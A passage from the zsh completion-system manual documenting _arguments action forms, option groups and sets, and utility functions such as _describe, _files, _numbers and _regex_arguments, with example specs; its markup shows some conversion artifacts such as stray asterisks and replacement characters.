Multiple colons are treated as for the `*:…’ forms for ordinary arguments: when the message is preceded by two colons, the words special array and the CURRENT special parameter are modified during the execution or evaluation of the action to refer only to the words after the option. When preceded by three colons, they are modified to refer only to the words covered by this description.

Any literal colon in an optname, message, or action must be preceded by a backslash, `*’.*

Each of the forms above may be preceded by a list in parentheses of option names and argument numbers. If the given option is on the command line, the options and arguments indicated in parentheses will not be offered. For example, `(-two -three 1)-one:…’ completes the option `-one*’; if this* appears on the command line, the options -two and -three and the first ordinary argument will not be completed after it. `(-foo):…’ specifies an ordinary argument completion; -foo will not be completed if that argument is already present.

Other items may appear in the list of excluded options to indicate various other items that should not be applied when the current specification is matched: a single star (*) for the rest arguments (i.e. a specification of the form `*:…’); a colon (:) for all normal (non-option-) arguments; and a hyphen (-) for all options. For example, if `(*)’ appears before an option and the option appears on the command line, the list of remaining arguments (those shown in the above table beginning with `*:’) will not be completed.

To aid in reuse of specifications, it is possible to precede any of the forms above with `!’; then the form will no longer be completed, although if the option or argument appears on the command line they will be skipped as normal. The main use for this is when the arguments are given by an array, and _arguments is called repeatedly for more specific contexts: on the first call `_arguments $global_options*’ is* used, and on subsequent calls `_arguments !$^global_options*’.*

specs: actions

In each of the forms above the action determines how completions should be generated. Except for the `**->**string’ form below, the action will be executed by calling the _all_labels function to process all tag labels. No special handling of tags is needed unless a function call introduces a new one.

The functions called to execute actions will be called with the elements of the array named by the `-O name’ option as arguments. This can be used, for example, to pass the same set of options for the compadd builtin to all actions.

The forms for action are as follows.

(single unquoted space) This is useful where an argument is required but it is not possible or desirable to generate matches for it. The message will be displayed but no completions listed. Note that even in this case the colon at the end of the message is needed; it may only be omitted when neither a message nor an action is given.

(item1 item2 …)
One of a list of possible matches, for example:

:foo:(foo bar baz)

((item1*desc1 ))*
Similar to the above, but with descriptions for each possible match. Note the backslash before the colon. For example,

:foo:((a:bar b:baz))

The matches will be listed together with their descriptions if the description style is set with the values tag in the context.

**->**string
In this form, _arguments processes the arguments and options and then returns control to the calling function with parameters set to indicate the state of processing; the calling function then makes its own arrangements for generating completions. For example, functions that implement a state machine can use this type of action.

Where _arguments encounters action in the `->string format, it will strip all leading and trailing whitespace from string and set the array state to the set of all strings for which an action is to be performed. The elements of the array state_descr are assigned the corresponding message field from each optarg containing such an action**.**

By default and in common with all other well behaved completion functions, _arguments returns status zero if it was able to add matches and non-zero otherwise. However, if the -R option is given, _arguments will instead return a status of 300 to indicate that $state is to be handled.

In addition to $state and $state_descr, _arguments also sets the global parameters `context’, `line’ and `opt_args’ as described below, and does not reset any changes made to the special parameters such as PREFIX and words. This gives the calling function the choice of resetting these parameters or propagating changes in them.

A function calling _arguments with at least one action containing a `->string’ must therefore declare appropriate local parameters:

local context state state_descr line typeset -A opt_args

to prevent _arguments from altering the global environment.

{eval-string}
A string in braces is evaluated as shell code to generate matches. If the eval-string itself does not begin with an opening parenthesis or brace it is split into separate words before execution.

= action
If the action starts with `= ’ (an equals sign followed by a space), _arguments will insert the contents of the argument field of the current context as the new first element in the words special array and increment the value of the CURRENT special parameter. This has the effect of inserting a dummy word onto the completion command line while not changing the point at which completion is taking place.

This is most useful with one of the specifiers that restrict the words on the command line on which the action is to operate (the two- and three-colon forms above). One particular use is when an action itself causes _arguments on a restricted range; it is necessary to use this trick to insert an appropriate command name into the range for the second call to _arguments to be able to parse the line.

word…

word… This covers all forms other than those above. If the action starts with a space, the remaining list of words will be invoked unchanged.

Otherwise it will be invoked with some extra strings placed after the first word; these are to be passed down as options to the compadd builtin. They ensure that the state specified by _arguments, in particular the descriptions of options and arguments, is correctly passed to the completion command. These additional arguments are taken from the array parameter `expl’; this will be set up before executing the action and hence may be referred to inside it, typically in an expansion of the form `$expl[@]’ which preserves empty elements of the array.

During the performance of the action the array `line’ will be set to the normal arguments from the command line, i.e. the words from the command line after the command name excluding all options and their arguments. Options are stored in the associative array `opt_args’ with option names as keys and their arguments as the values. By default, all colons and backslashes in the value are escaped with backslashes, and if an option has multiple arguments (for example, when using an optspec of the form `*optspec’), they are joined with (unescaped) colons. However, if the -0 option was passed, no backslash escaping is performed, and multiple values are joined with NUL bytes. For example, after `zsh -o foo:foo -o bar:bar -o <TAB>’, the contents of `opt_args’ would be

typeset -A opt_args=( [-o]=‘foo:foo:bar:bar:’ )

by default, and

typeset -A opt_args=( [-o]=$‘foo:foo�bar:bar�’ )

if _arguments had been called with the -0 option.

The parameter `context’ is set when returning to the calling function to perform an action of the form `->string’. It is set to an array of elements corresponding to the elements of $state. Each element is a suitable name for the argument field of the context: either a string of the form `option*-opt***-n’ for the** n**’th** argument of the option -opt**, or a string of the form** `argument-n’ for the n**’th argument. For `rest’ arguments,** that is those in the list at the end not handled by position, n is the string `rest’. For example, when completing the argument of the -o option, the name is `option-o-1’, while for the second normal (non-option-) argument it is `argument-2’.

Furthermore, during the evaluation of the action the context name in the curcontext parameter is altered to append the same string that is stored in the context parameter.

The option -C tells _arguments to modify the curcontext parameter for an action of the form `->state’. This is the standard parameter used to keep track of the current context. Here it (and not the context array) should be made local to the calling function to avoid passing back the modified value and should be initialised to the current value at the start of the function:

local curcontext="$curcontext"

This is useful where it is not possible for multiple states to be valid together.

Grouping Options

Options can be grouped to simplify exclusion lists. A group is introduced with `+’ followed by a name for the group in the subsequent word. Whole groups can then be referenced in an exclusion list or a group name can be used to disambiguate between two forms of the same option. For example:

_arguments \ ‘(group2–x)-a’ \ + group1 \ -m \ ‘(group2)-n’ \ + group2 \ -x -y

If the name of a group is specified in the form `(name)’ then only one value from that group will ever be completed; more formally, all specifications are mutually exclusive to all other specifications in that group. This is useful for defining options that are aliases for each other. For example:

_arguments \ -a -b \ + ‘(operation)’ \ {-c,–compress}’[compress]’ \ {-d,–decompress}’[decompress]’ \ {-l,–list}’[list]’

If an option in a group appears on the command line, it is stored in the associative array `opt_args’ with ‘group-option as a key. In the example above, a key `operation–c’ is used if the option `-c’ is present on the command line.

Specifying Multiple Sets of Arguments

It is possible to specify multiple sets of options and arguments with the sets separated by single hyphens. This differs from groups in that sets are considered to be mutually exclusive of each other.

Specifications before the first set and from any group are common to all sets. For example:

_arguments \ -a \ - set1 \ -c \ - set2 \ -d \ ‘:arg:(x2 y2)’

This defines two sets. When the command line contains the option `-c’, the `-d’ option and the argument will not be considered possible completions. When it contains `-d’ or an argument, the option `-c’ will not be considered. However, after `-a’ both sets will still be considered valid.

As for groups, the name of a set may appear in exclusion lists, either alone or preceding a normal option or argument specification.

The completion code has to parse the command line separately for each set. This can be slow so sets should only be used when necessary. A useful alternative is often an option specification with rest-arguments (as in `-foo:*:…’); here the option -foo swallows up all remaining arguments as described by the optarg definitions.

Deriving spec forms from the help output

The option `’ allows _arguments to work out the names of long options that support the `–help*’ option which is standard in many* GNU commands. The command word is called with the argument `–help*’ and the output examined for option names. Clearly, it can* be dangerous to pass this to commands which may not support this option as the behaviour of the command is unspecified.

In addition to options, `_arguments –’ will try to deduce the types of arguments available for options when the form `opt=val’ is valid. It is also possible to provide hints by examining the help text of the command and adding helpspec of the form `pattern:message:action’; note that other _arguments spec forms are not used. The pattern is matched against the help text for an option, and if it matches the message and action are used as for other argument specifiers. The special case of `*:’ means both message and action are empty, which has the effect of causing options having no description in the help output to be ordered in listings ahead of options that have a description.

For example:

_arguments – ‘*:toggle:(yes no)’ \ ‘=FILE*:file:_files’ \ ‘=DIR:directory:_files -/’ \ ‘=PATH:directory:_files -/’

Here, `yes*’ and `no’ will be completed as the argument of* options whose description ends in a star; file names will be completed for options that contain the substring `=FILE*’ in the description; and* directories will be completed for options whose description contains `=DIR*’ or `=PATH’. The last three are in fact the default and so* need not be given explicitly, although it is possible to override the use of these patterns. A typical help text which uses this feature is:

-C, –directory=DIR change to directory DIR

so that the above specifications will cause directories to be completed after `–directory*’, though not after `-C’.*

Note also that _arguments tries to find out automatically if the argument for an option is optional. This can be specified explicitly by doubling the colon before the message.

If the pattern ends in `(-)’, this will be removed from the pattern and the action will be used only directly after the `=’, not in the next word. This is the behaviour of a normal specification defined with the form `=-’.

By default, the command (with the option `–help*’) is run after* resetting all the locale categories (except for LC_CTYPE*) to `C’.* If the localized help output is known to work, the option `-l*’ can* be specified after the `_arguments –’ so that the command is run in the current locale.

The `_arguments –’ can be followed by the option `-i patterns’ to give patterns for options which are not to be completed. The patterns can be given as the name of an array parameter or as a literal list in parentheses. For example,

_arguments – -i \ “(–(en|dis)able-FEATURE*)”

will cause completion to ignore the options `–enable-FEATURE*’ and `–disable-FEATURE’ (this example is* useful with GNU configure*).*

The `_arguments –’ form can also be followed by the option `-s pair’ to describe option aliases. The pair consists of a list of alternating patterns and corresponding replacements, enclosed in parens and quoted so that it forms a single argument word in the _arguments call.

For example, some configure*-script help output describes options only* as `–enable-foo*’, but the script also accepts the negated form* `–disable-foo*’. To allow completion of the second form:*

_arguments – -s “((#s)–enable- –disable-)”

Miscellaneous notes

Finally, note that _arguments generally expects to be the primary function handling any completion for which it is used. It may have side effects which change the treatment of any matches added by other functions called after it. To combine _arguments with other functions, those functions should be called either before _arguments*, as an action* within a spec, or in handlers for `**->**state’ actions.

Here is a more general example of the use of _arguments*:*

_arguments ‘-l+:left border:’ \ ‘-format:paper size:(letter A4)’ \ ‘-copy:output file:_files::resolution:(300 600)’ \ ‘:postscript file:_files -g *.(ps|eps)’ \ ‘:page number:’

This describes three options: `-l*’, `-format’, and* `-copy*’. The first takes one argument described as `left* border*’ for which no completion will be offered because of the empty* action. Its argument may come directly after the `-l*’ or it may be* given as the next word on the line.

The `-format*’ option takes one* argument in the next word, described as `paper size’ for which only the strings `letter*’ and `A4’ will be completed.*

The `-copy*’ option may appear more than once on the command line and* takes two arguments. The first is mandatory and will be completed as a filename. The second is optional (because of the second colon before the description `resolution’) and will be completed from the strings `300*’ and `600’.*

The last two descriptions say what should be completed as arguments. The first describes the first argument as a `postscript file’ and makes files ending in `ps’ or `eps be completed. The last description gives all other arguments the description `page number’ but does not offer completions.

_cache_invalid cache_identifier
This function returns status zero if the completions cache corresponding to the given cache identifier needs rebuilding. It determines this by looking up the cache-policy style for the current context. This should provide a function name which is run with the full path to the relevant cache file as the only argument.

Example:

_example_caching_policy () { # rebuild if cache is more than a week old local -a oldp oldp=( “$1”(Nm+7) ) (( $#oldp )) }

_call_function return name [ arg … ]
If a function name exists, it is called with the arguments args. The return argument gives the name of a parameter in which the return status from the function name should be stored; if return is empty or a single hyphen it is ignored.

The return status of _call_function itself is zero if the function name exists and was called and non-zero otherwise.

_call_program [ -l ] [ -p ] tag string …
This function provides a mechanism for the user to override the use of an external command. It looks up the command style with the supplied tag. If the style is set, its value is used as the command to execute. The strings from the call to _call_program*, or from the* style if set, are concatenated with spaces between them and the resulting string is evaluated. The return status is the return status of the command called.

By default, the command is run in an environment where all the locale categories (except for LC_CTYPE*) are reset to `C’ by calling the* utility function _comp_locale (see below). If the option `-l*’ is* given, the command is run with the current locale.

If the option `-p*’ is supplied it indicates that the command* output is influenced by the permissions it is run with. If the gain-privileges style is set to true, _call_program will make use of commands such as sudo*, if present on the command-line, to* match the permissions to whatever the final command is likely to run under. When looking up the gain-privileges and command styles, the command component of the zstyle context will end with a slash (`/’) followed by the command that would be used to gain privileges.

_combination [ -s pattern ] tag style spec … field opts …
This function is used to complete combinations of values, for example pairs of hostnames and usernames. The style argument gives the style which defines the pairs; it is looked up in a context with the tag specified.

The style name consists of field names separated by hyphens, for example `users-hosts-ports*’. For each field for a value is already known, a* spec of the form `field**=pattern’ is given. For example, if the command line so far specifies a user `pws’, the argument `users=pws*’ should appear.*

The next argument with no equals sign is taken as the name of the field for which completions should be generated (presumably not one of the fields for which the value is known).

The matches generated will be taken from the value of the style. These should contain the possible values for the combinations in the appropriate order (users, hosts, ports in the example above). The values for the different fields are separated by colons. This can be altered with the option -s to _combination which specifies a pattern. Typically this is a character class, as for example `-s “[:@]”’ in the case of the users-hosts style. Each `field**=**pattern’ specification restricts the completions which apply to elements of the style with appropriately matching fields.

If no style with the given name is defined for the given tag, or if none of the strings in style’s value match, but a function name of the required field preceded by an underscore is defined, that function will be called to generate the matches. For example, if there is no `users-hosts-ports*’ or no* matching hostname when a host is required, the function `_hosts*’ will* automatically be called.

If the same name is used for more than one field, in both the `field**=**pattern’ and the argument that gives the name of the field to be completed, the number of the field (starting with one) may be given after the fieldname, separated from it by a colon.

All arguments after the required field name are passed to compadd when generating matches from the style value, or to the functions for the fields if they are called.

_command_names [ -e | - ]
This function completes words that are valid at command position: names of aliases, builtins, hashed commands, functions, and so on. With the -e flag, only hashed commands are completed. The - flag is ignored.

_comp_locale
This function resets all the locale categories other than LC_CTYPE to `C*’ so that the output from external commands can be easily analyzed by* the completion system. LC_CTYPE retains the current value (taking LC_ALL and LANG into account), ensuring that non-ASCII characters in file names are still handled properly.

This function should normally be run only in a subshell, because the new locale is exported to the environment. Typical usage would be `$(_comp_locale; command …)’.

_completers [ -p ]
This function completes names of completers.

-p Include the leading underscore (`_’) in the matches.

_default
This function corresponds to the -default- special context which is applied where no completion is defined. It is useful to call it under certain error conditions such as completion after an unrecognised subcommand. This applies the concept of graceful degradation to the completion system, allowing it to fallback on basic completion of commonly useful things like filenames.

_describe [-12JVx*] [* -oO | -t tag ] descr name1 [ name2 ] [ opt … ]

[ name1 [ name2 ] [ opt … ] … ] This function associates completions with descriptions. Multiple groups separated by can be supplied, potentially with different completion options opts.

The descr is taken as a string to display above the matches if the format style for the descriptions tag is set. This is followed by one or two names of arrays followed by options to pass to compadd*. The* array name1 contains the possible completions with their descriptions in the form `completion**:**description’. Any literal colons in completion must be quoted with a backslash. If a name2 is given, it should have the same number of elements as name1; in this case the corresponding elements are added as possible completions instead of the completion strings from name1. The completion list will retain the descriptions from name1. Finally, a set of completion options can appear.

If the option `-o*’ appears before the first argument, the matches added* will be treated as names of command options (N.B. not shell options), typically following a `-’, `’ or `+’ on the command line. In this case _describe uses the prefix-hidden*,* prefix-needed and verbose styles to find out if the strings should be added as completions and if the descriptions should be shown. Without the `-o*’ option, only the* verbose style is used to decide how descriptions are shown. If `-O*’ is used instead of `-o’, command* options are completed as above but _describe will not handle the prefix-needed style.

With the -t option a tag can be specified. The default is `values*’ or, if the* -o option is given, `options’.

The options -1*,* -2*,* -J*,* -V*,* -x are passed to _next_label*.*

If selected by the list-grouped style, strings with the same description will appear together in the list.

_describe uses the _all_labels function to generate the matches, so it does not need to appear inside a loop over tag labels.

_description [ -x ] [ -12VJ ] tag name descr [ spec … ]
This function is not to be confused with the previous one; it is used as a helper function for creating options to compadd*. It is buried* inside many of the higher level completion functions and so often does not need to be called directly.

The styles listed below are tested in the current context using the given tag. The resulting options for compadd are put into the array named name (this is traditionally `expl’, but this convention is not enforced). The description for the corresponding set of matches is passed to the function in descr.

The styles tested are: format*,* hidden*,* matcher*,* ignore-line*,* ignored-patterns*,* group-name and sort*.* The format style is first tested for the given tag and then for the descriptions tag if no value was found, while the remainder are only tested for the tag given as the first argument. The function also calls _setup which tests some more styles.

The string returned by the format style (if any) will be modified so that the sequence `%d*’ is replaced by the descr given as the third* argument without any leading or trailing white space. If, after removing the white space, the descr is the empty string, the format style will not be used and the options put into the name array will not contain an explanation string to be displayed above the matches.

If _description is called with more than three arguments, the additional specs should be of the form `char**:str’. These supply escape sequence replacements for the format style: every appearance of `%char’ will be replaced by string. If no additional specs are given but the description in descr conforms to a common form then further escape sequences are set for elements of that description. These elements correspond to a default value (`%o***’), the units (`%m’) range of acceptable values* (`%r*’) and the remaining initial part of the description (`%h’).* The form the description takes consists of specifying the units and range in parentheses and the default value in square brackets, for example:

_description times expl ’timeout (seconds) (0-60) [20]’

It is possible to use zformat conditional expressions when styling these elements. So, for example, to add `default:’ as a tag but only when there is a default value to show, the format style might include `%(o.default: %o.)’.

If the -x option is given, the description will be passed to compadd using the -x option instead of the default -X*. This* means that the description will be displayed even if there are no corresponding matches.

The options placed in the array name take account of the group-name style, so matches are placed in a separate group where necessary. The group normally has its elements sorted (by passing the option -J to compadd*), but if an option starting with `-V’,* `-J*’, `-1’, or `-2’ is passed to* _description*, that* option will be included in the array. Hence it is possible for the completion group to be unsorted by giving the option `-V*’,* `-1V*’, or `-2V’.*

In most cases, the function will be used like this:

local expl _description files expl file compadd “$expl[@]” - “$files[@]”

Note the use of the parameter expl*, the hyphen, and the list of* matches. Almost all calls to compadd within the completion system use a similar format; this ensures that user-specified styles are correctly passed down to the builtins which implement the internals of completion.

_dir_list [ -s sep ] [ -S ]
Complete a list of directory names separated by colons (the same format as $PATH*).*

-s sep Use sep as separator between items. sep defaults to a colon (`:’).

-S
Add sep instead of slash (`/’) as an autoremoveable suffix.

_dispatch context string …
This sets the current context to context and looks for completion functions to handle this context by hunting through the list of command names or special contexts (as described above for compdef*)* given as strings. The first completion function to be defined for one of the contexts in the list is used to generate matches. Typically, the last string is -default- to cause the function for default completion to be used as a fallback.

The function sets the parameter $service to the string being tried, and sets the context/command field (the fourth) of the $curcontext parameter to the context given as the first argument.

_email_addresses [ -c ] [ -n plugin ]
Complete email addresses. Addresses are provided by plugins.

-c Complete bare [email protected] addresses, without a name part or a comment. Without this option, RFC822 `Firstname Lastname <address> strings are completed.

-n plugin
Complete aliases from plugin.

The following plugins are available by default: _email-ldap (see the filter style), _email-local (completes user**@hostname Unix addresses), _email-mail (completes aliases from ~/.mailrc), _email-mush*,* _email-mutt*,* and _email-pine*.*

Addresses from the **_email-**foo plugin are added under the tag `**email-**foo’.

Writing plugins

Plugins are written as separate functions with names starting with `_email-’. They are invoked with the -c option and compadd options. They should either do their own completion or set the $reply array to a list of `alias**:address’ elements and return 300. New plugins will be picked up and run automatically.

_files
The function _files is a wrapper around _path_files*. It supports* all of the same functionality, with some enhancements – notably, it respects the list-dirs-first style, and it allows users to override the behaviour of the -g and -/ options with the file-patterns style. _files should therefore be preferred over _path_files in most cases.

This function accepts the full set of options allowed by _path_files*, described below.*

_gnu_generic
This function is a simple wrapper around the _arguments function described above. It can be used to determine automatically the long options understood by commands that produce a list when passed the option `–help*’. It is intended to be used as a top-level* completion function in its own right. For example, to enable option completion for the commands foo and bar*, use*

compdef _gnu_generic foo bar

after the call to compinit*.*

The completion system as supplied is conservative in its use of this function, since it is important to be sure the command understands the option `–help*’.*

_guard [ options ] pattern descr
This function displays descr if pattern matches the string to be completed. It is intended to be used in the action for the specifications passed to _arguments and similar functions.

The return status is zero if the message was displayed and the word to complete is not empty, and non-zero otherwise.

The pattern may be preceded by any of the options understood by compadd that are passed down from _description*, namely* -M*,* -J*,* -V*,* -1*,* -2*,* -n*,* -F and -X*. All of these* options will be ignored. This fits in conveniently with the argument-passing conventions of actions for _arguments*.*

As an example, consider a command taking the options -n and -none*, where* -n must be followed by a numeric value in the same word. By using:

_arguments ‘-n-: :_guard “[0-9]#” “numeric value”’ ‘-none’

_arguments can be made to both display the message `numeric value’ and complete options after `-n<TAB>’. If the `-n*’ is* already followed by one or more digits (the pattern passed to _guard*) only the message will be displayed; if the `-n’ is* followed by another character, only options are completed.

_message [ -r12 ] [ -VJ group ] descr

_message -e [ tag ] descr The descr is used in the same way as the third argument to the _description function, except that the resulting string will always be shown whether or not matches were generated. This is useful for displaying a help message in places where no completions can be generated.

The format style is examined with the messages tag to find a message; the usual tag, descriptions*, is used only if the style is* not set with the former.

If the -r option is given, no style is used; the descr is taken literally as the string to display. This is most useful when the descr comes from a pre-processed argument list which already contains an expanded description. Note that this option does not disable the `%’-sequence parsing done by compadd*.*

The -12VJ options and the group are passed to compadd and hence determine the group the message string is added to.

The second -e form gives a description for completions with the tag tag to be shown even if there are no matches for that tag. This form is called by _arguments in the event that there is no action for an option specification. The tag can be omitted and if so the tag is taken from the parameter $curtag*; this is maintained by the completion* system and so is usually correct. Note that if there are no matches at the time this function is called, compstate[insert] is cleared, so additional matches generated later are not inserted on the command line.

_multi_parts [ -i ] sep array
The argument sep is a separator character. The array may be either the name of an array parameter or a literal array in the form `(foo bar)’, a parenthesised list of words separated by whitespace. The possible completions are the strings from the array. However, each chunk delimited by sep will be completed separately. For example, the _tar function uses `_multi_parts / patharray’ to complete partial file paths from the given array of complete file paths.

The -i option causes _multi_parts to insert a unique match even if that requires multiple separators to be inserted. This is not usually the expected behaviour with filenames, but certain other types of completion, for example those with a fixed set of possibilities, may be more suited to this form.

Like other utility functions, this function accepts the `-V*’,* `-J*’, `-1’, `-2’, `-n’, `-f’, `-X’, `-M’,* `-P*’, `-S’, `-r’, `-R’, and `-q’ options and passes* them to the compadd builtin.

_next_label [ -x ] [ -12VJ ] tag name descr [ option … ]
This function is used to implement the loop over different tag labels for a particular tag as described above for the tag-order style. On each call it checks to see if there are any more tag labels; if there is it returns status zero, otherwise non-zero. As this function requires a current tag to be set, it must always follow a call to _tags or _requested*.*

The -x12VJ options and the first three arguments are passed to the _description function. Where appropriate the tag will be replaced by a tag label in this call. Any description given in the tag-order style is preferred to the descr passed to _next_label*.*

The options given after the descr are set in the parameter given by name, and hence are to be passed to compadd or whatever function is called to add the matches.

Here is a typical use of this function for the tag foo*. The call to* _requested determines if tag foo is required at all; the loop over _next_label handles any labels defined for the tag in the tag-order style.

local expl ret=1 … if _requested foo; then … while _next_label foo expl ‘…’; do compadd “$expl[@]” … && ret=0 done … fi return ret

_normal [ -P | -p precommand ]
This is the standard function called to handle completion outside any special -context-. It is called both to complete the command word and also the arguments for a command. In the second case, _normal looks for a special completion for that command, and if there is none it uses the completion for the -default- context.

A second use is to reexamine the command line specified by the $words array and the $CURRENT parameter after those have been modified. For example, the function _precommand*, which* completes after precommand specifiers such as nohup*, removes the* first word from the words array, decrements the CURRENT parameter, then calls `_normal -p $service*’. The effect is that* `nohup cmd …’ is treated in the same way as `cmd …’.

-P Reset the list of precommands. This option should be used if completing a command line which allows internal commands (e.g. builtins and functions) regardless of prior precommands (e.g. `zsh -c*’).*

-p precommand
Append precommand to the list of precommands. This option should be used in nearly all cases in which -P is not applicable.

If the command name matches one of the patterns given by one of the options -p or -P to compdef*, the corresponding completion* function is called and then the parameter _compskip is checked. If it is set completion is terminated at that point even if no matches have been found. This is the same effect as in the -first- context.

_numbers [ option … ] [ description ] [ suffix … ]
This can be used where a number is followed by a suffix to indicate the units. The unit suffixes are completed and can also be included in the description used when completion is invoked for the preceding number.

In addition to common compadd options, _numbers accepts the following options:

-t tag Specify a tag to use instead of the default of numbers*.*

-u units
Indicate the default units for the number, e.g. bytes*.*

-l min
Specify the lowest possible value for the number.

-m max
Specify the highest possible value for the number.

-d default
Specify the default value.

-N
Allow negative numbers. This is implied if the range includes a negative.

-f
Allow decimal numbers.

Where a particular suffix represents the default units for a number, it should be prefixed with a colon. Additionally, suffixes can be followed by a colon and a description. So for example, the following allows the age of something to be specified, either in seconds or with an optional suffix with a longer unit of time:

_numbers -u seconds age :s:seconds m:minutes h:hours d:days

It is typically helpful for units to be presented in order of magnitude when completed. To facilitate this, the order in which they are given is preserved.

When the format style is looked up with the descriptions tag or the tag specified with -t*, the list of suffixes is available as a* `%x*’ escape sequence. This is in addition to the usual sequences* documented under the format style. The form this list takes can also be configured. To this end, the format style is first looked up with the tag unit-suffixes*. The retrieved format is applied to each* suffix in turn and the results are then concatenated to form the completed list. For the unit-suffixes format, `%x*’ expands to* the individual suffix and `%X*’ to its description.* %d*’ indicates* a default suffix and can be used in a condition. The index and reverse index are set in `%i*’ and `%r’ respectively and are useful for* text included only with the first and last suffixes in the list. So for example, the following joins the suffixes together as a comma-separated list:

zstyle ‘:completion:*:unit-suffixes’ format ‘%x%(r::,)’

_options
This can be used to complete the names of shell options. It provides a matcher specification that ignores a leading `no*’, ignores* underscores and allows upper-case letters to match their lower-case counterparts (for example, `glob*’,* `noglob*’, `NO_GLOB’ are all completed). Any arguments* are propagated to the compadd builtin.

_options_set and _options_unset
These functions complete only set or unset options, with the same matching specification used in the _options function.

Note that you need to uncomment a few lines in the _main_complete function for these functions to work properly. The lines in question are used to store the option settings in effect before the completion widget locally sets the options it needs. Hence these functions are not generally used by the completion system.

_parameters
This is used to complete the names of shell parameters.

The option `-g pattern’ limits the completion to parameters whose type matches the pattern. The type of a parameter is that shown by `print ${(t)param}’, hence judicious use of `*’ in pattern is probably necessary.

All other arguments are passed to the compadd builtin.

_path_files
This function is used throughout the completion system to complete filenames. It allows completion of partial paths. For example, the string `/u/i/s/sig*’ may be completed to* `/usr/include/sys/signal.h*’.*

The options accepted by both _path_files and _files are:

-f Complete all filenames. This is the default.

-/
Specifies that only directories should be completed.

-g pattern
Specifies that only files matching the pattern should be completed.

-W paths
Specifies path prefixes that are to be prepended to the string from the command line to generate the filenames but that should not be inserted as completions nor shown in completion listings. Here, paths may be the name of an array parameter, a literal list of paths enclosed in parentheses or an absolute pathname.

-F ignored-files
This behaves as for the corresponding option to the compadd builtin. It gives direct control over which filenames should be ignored. If the option is not present, the ignored-patterns style is used.

Both _path_files and _files also accept the following options which are passed to compadd*: `-J’, `-V’,* `-1*’, `-2’, `-n’, `-X’, `-M’, `-P’, `-S’,* `-q*’, `-r’, and `-R’.*

Finally, the _path_files function uses the styles expand*,* ambiguous*,* special-dirs*,* list-suffixes and file-sort described above.

_pick_variant [ -b builtin-label ] [ -c command ] [ -r name ]

label**=**pattern … label [ arg … ] This function is used to resolve situations where a single command name requires more than one type of handling, either because it has more than one variant or because there is a name clash between two different commands.

The command to run is taken from the first element of the array words unless this is overridden by the option -c*. This command* is run and its output is compared with a series of patterns. Arguments to be passed to the command can be specified at the end after all the other arguments. The patterns to try in order are given by the arguments label**=**pattern; if the output of `command arg …’ contains pattern, then label is selected as the label for the command variant. If none of the patterns match, the final command label is selected and status 1 is returned.

If the `-b builtin-label’ is given, the command is tested to see if it is provided as a shell builtin, possibly autoloaded; if so, the label builtin-label is selected as the label for the variant.

If the `-r name’ is given, the label picked is stored in the parameter named name.

The results are also cached in the _cmd_variant associative array indexed by the name of the command run.

_regex_arguments name spec …
This function generates a completion function name which matches the specifications specs, a set of regular expressions as described below. After running _regex_arguments*, the function* name should be called as a normal completion function. The pattern to be matched is given by the contents of the words array up to the current cursor position joined together with null characters; no quotation is applied.

The arguments are grouped as sets of alternatives separated by `|’, which are tried one after the other until one matches. Each alternative consists of a one or more specifications which are tried left to right, with each pattern matched being stripped in turn from the command line being tested, until all of the group succeeds or until one fails; in the latter case, the next alternative is tried. This structure can be repeated to arbitrary depth by using parentheses; matching proceeds from inside to outside.

A special procedure is applied if no test succeeds but the remaining command line string contains no null character (implying the remaining word is the one for which completions are to be generated). The completion target is restricted to the remaining word and any actions for the corresponding patterns are executed. In this case, nothing is stripped from the command line string. The order of evaluation of the actions can be determined by the tag-order style; the various formats supported by _alternative can be used in action. The descr is used for setting up the array parameter expl*.*

Specification arguments take one of following forms, in which metacharacters such as `(’, `)’, `#’ and `| should be quoted.

/pattern/ [%lookahead%] [-guard] [:tag:descr:action] This is a single primitive component. The function tests whether the combined pattern `(#b)((#B)pattern)lookahead*’ matches the command line string. If so, `guard’ is evaluated and its return status is examined to determine if the test has succeeded. The pattern string `[]’ is guaranteed never to match. The lookahead is not stripped from the command line before the next pattern is examined.

The argument starting with : is used in the same manner as an argument to _alternative*.*

A component is used as follows: pattern is tested to see if the component already exists on the command line. If it does, any following specifications are examined to find something to complete. If a component is reached but no such pattern exists yet on the command line, the string containing the action is used to generate matches to insert at that point.

/pattern/+ [%lookahead%] [-guard] [:tag:descr:action]
This is similar to `
/pattern/
…’ but the left part of the command line string (i.e. the part already matched by previous patterns) is also considered part of the completion target.

/pattern/- [%lookahead%] [-guard] [:tag:descr:action]
This is similar to `
/pattern/
…’ but the actions of the current and previously matched patterns are ignored even if the following `pattern’ matches the empty string.

( spec )
Parentheses may be used to groups specs; note each parenthesis is a single argument to _regex_arguments*.*

spec #
This allows any number of repetitions of spec.

spec spec
The two specs are to be matched one after the other as described above.

spec | spec
Either of the two specs can be matched.

The function _regex_words can be used as a helper function to generate matches for a set of alternative words possibly with their own arguments as a command line argument.

Examples:

_regex_arguments _tst /$’[^�]#�’/ \ /$’[^�]#�’/ :‘compadd aaa’

This generates a function _tst that completes aaa as its only argument. The tag and description for the action have been omitted for brevity (this works but is not recommended in normal use). The first component matches the command word, which is arbitrary; the second matches any argument. As the argument is also arbitrary, any following component would not depend on aaa being present.

_regex_arguments _tst /$’[^�]#�’/ \ /$‘aaa�’/ :‘compadd aaa’

This is a more typical use; it is similar, but any following patterns would only match if aaa was present as the first argument.

_regex_arguments _tst /$’[^�]#�’/ ( \ /$‘aaa�’/ :‘compadd aaa’ \ /$‘bbb�’/ :‘compadd bbb’ ) #

In this example, an indefinite number of command arguments may be completed. Odd arguments are completed as aaa and even arguments as bbb*. Completion fails unless the set of* aaa and bbb arguments before the current one is matched correctly.

_regex_arguments _tst /$’[^�]#�’/ \ ( /$‘aaa�’/ :‘compadd aaa’ | \ /$‘bbb�’/ :‘compadd bbb’ ) #

This is similar, but either aaa or bbb may be completed for any argument. In this case _regex_words could be used to generate a suitable expression for the arguments.

_regex_words tag description spec …
This function can be used to generate arguments for the _regex_arguments command which may be inserted at any point where a set of rules is expected. The tag and description give a standard tag and description pertaining to the current context. Each spec contains two or three arguments separated by a colon: note that there is no leading colon in this case.

Each spec gives one of a set of words that may be completed at this point, together with arguments. It is thus roughly equivalent to the _arguments function when used in normal (non-regex) completion.

The part of the spec before the first colon is the word to be completed. This may contain a *; the entire word, before and after the * is completed, but only the text before the * is required for the context to be matched, so that further arguments may be completed after the abbreviated form.

The second part of spec is a description for the word being completed.

The optional third part of the spec describes how words following the one being completed are themselves to be completed. It will be evaluated in order to avoid problems with quoting. This means that typically it contains a reference to an array containing previously generated regex arguments.

The option -t term specifies a terminator for the word instead of the usual space. This is handled as an auto-removable suffix in the manner of the option -s sep to _values*.*

